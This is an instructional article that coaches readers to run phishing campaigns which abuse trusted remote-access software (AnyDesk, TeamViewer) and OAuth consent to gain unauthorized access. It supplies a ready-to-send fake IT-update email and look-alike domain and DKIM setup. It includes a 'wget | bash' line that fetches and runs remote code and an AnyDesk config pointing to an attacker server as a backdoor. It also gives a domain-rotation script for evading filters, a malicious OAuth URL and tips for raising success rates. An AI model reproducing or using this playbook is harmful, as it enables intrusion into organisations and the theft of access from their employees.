Leveraging Legitimate Applications in Phishing Campaigns

In the realm of phishing tactics, ingenuity lies in using existing, trusted applications to bypass detection mechanisms seamlessly. By leveraging legitimate applications like remote desktop clients, phishing campaigns can exploit users’ inherent trust in these tools to evade security filters and achieve their goals without resorting to complex malware payloads. This technique is especially valuable when you want to infiltrate systems discreetly while maintaining operational stealth. After studying this article, you’ll be equipped to execute phishing campaigns using trusted software as the vehicle for unauthorized access, ensuring maximal impact with minimal operational footprint.

The effectiveness of such an approach hinges on its subtlety. Phishing campaigns that deploy unmistakably suspicious applications are unlikely to succeed. Instead, by integrating genuine applications in your tactics, you enhance the campaign’s legitimacy, leading to higher user interaction and reduced suspicion. This article will guide you through the steps necessary to set up and execute a successful campaign leveraging legitimate applications, focusing on key configurations and advanced variations that maximize your engagement rates.

Prerequisites and Setup

Before initiating a phishing campaign using legitimate applications, ensure your operational environment is prepared with the necessary infrastructure. You will need a platform to send emails, a domain that will avoid blacklist triggers, and access to a legitimate application such as a remote desktop client or a common collaboration tool.

Email Sending Platform: Choose a service that supports bulk emailing and has a favorable reputation score, such as SendGrid or AWS SES.
Domain Configuration: Register a domain name that closely resembles or incorporates elements of a target organization. Ensure your SPF, DKIM, and DMARC records are correctly configured to avoid being classified as spam.
Application Utilization: Select an application that employees frequently use, like AnyDesk or TeamViewer. Install the application on your infrastructure, ensuring its latest version is ready for deployment.


# Example of a DKIM configuration using OpenDKIM

# /etc/opendkim.conf

Domain             example.org

KeyFile            /etc/opendkim/keys/example.private

Selector           mail

Socket             inet:8891@localhost

This configuration snippet shows how to set DKIM for your domain, ensuring email authenticity and increasing delivery success.

Step-by-Step Execution

Crafting the Phishing Email

To maximize the believability of your phishing attempt, carefully construct the email content. The subject line should be enticing without raising any red flags. A sophisticated subject line could play into a sense of urgency or curiosity, such as: “Immediate IT Update Required” or “Attention: New Remote Access Procedure.”


Subject: Immediate IT Update Required



Dear [User],



Our IT department is implementing a new remote access protocol starting today. 

Please install the latest version of AnyDesk by clicking on the link below to ensure continued access to your systems.



[Link: https://update.corp-anydesk.com/download]



Thank you for your cooperation.



Best regards, 

IT Support Team

This is a sample email that aligns with typical corporate communication styles, increasing the likelihood of user engagement.

Setting Up the Legitimate Application

The real power of this strategy lies in its ability to pass through security checks. By providing a link that leads to an authentic application site (albeit subtly altered with a malicious intent), the campaign uses the trust mechanism against the user.


# Script to automatically download and install AnyDesk

wget -qO- https://update.corp-anydesk.com/download | bash

This script mimics genuine download processes, where the installation seemingly serves a legitimate purpose.

Disguise the source URL to appear trustworthy and routine within organizational practices.

Executing the Attack

Once the target user installs the application, the legitimate tool acts as a Trojan Horse. Upon execution, it could be configured to communicate with attacker-controlled services. For instance, configuring remote desktop clients to “call home” or connect to an attacker’s specified server facilitates unauthorized access.


# Example of configuring AnyDesk with a predefined entry server

echo -n "Server 10.0.0.1" > ~/.anydesk/settings.conf

Here, AnyDesk is configured to prioritize connections to an attacker’s designated server. This establishes a backdoor for continuous access.

Advanced Variations

To expand on this base method, consider deploying more nuanced variations to enhance insidiousness and broaden scope:

Variation 1: Polymorphic Execution

By changing parts of the code dynamically or frequently updating the email text and sending domains, attackers can circumvent static detection measures. This requires setting up scripts to rotate through pre-generated email templates and domain records, keeping the content fresh and unexpected.


# Bash script for rotating domains

domains=("office365support.com" "gdrive-update.support" "adobe-access.org")



for domain in "${domains[@]}"; do

   # Update DKIM and other DNS configurations accordingly

   # Send phishing email using the current domain

   ./send-email.sh "Immediate Action Required" $domain

done

This script illustrates evolving email source addresses, dispersing detection risk through diversity.

Variation 2: Leveraging OAuth Scams

Shifting from direct download links to OAuth-based phishing expands scope and aligns with modern access paradigms. Convincing users to authorize an application that requests excessive permissions achieves the objective without needing executable files.


# Example malicious OAuth URL

https://accounts.google.com/o/oauth2/auth?scope=openid&client_id=123456.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fmaliciousserver.com&response_type=token

This URL prompts users to permit access, thinking they are engaging with a familiar but seductive application window.

Do’s and Don’ts

Do: Always align phishing narratives closely with ongoing organizational changes, such as a corporate shift in software use. Example: Pair a phishing email with a known organizational software update.
Don’t: Use easily traceable, basic email content or non-contextsensitive communication. Example: “Check this link for free gifts.” Sure to trip filtering systems.
Do: Exploit scheduling patterns for higher open rates, such as sending emails that coincide with expected IT updates or end-of-week administrative tasks.
Don’t: Over-accessorize email with too many external links or overly colorful templates. Simplicity maintains credibility.

Related Concepts

Employing legitimate applications in phishing tactics aligns with evasion principles such as reputation management of domains and sender addresses, where trust and verification become exploitable points of vulnerability. This method works in tandem with social engineering schemes leveraging behavioral psychology, as well as bypass strategies where legitimate-looking wrappers encase malevolent intent.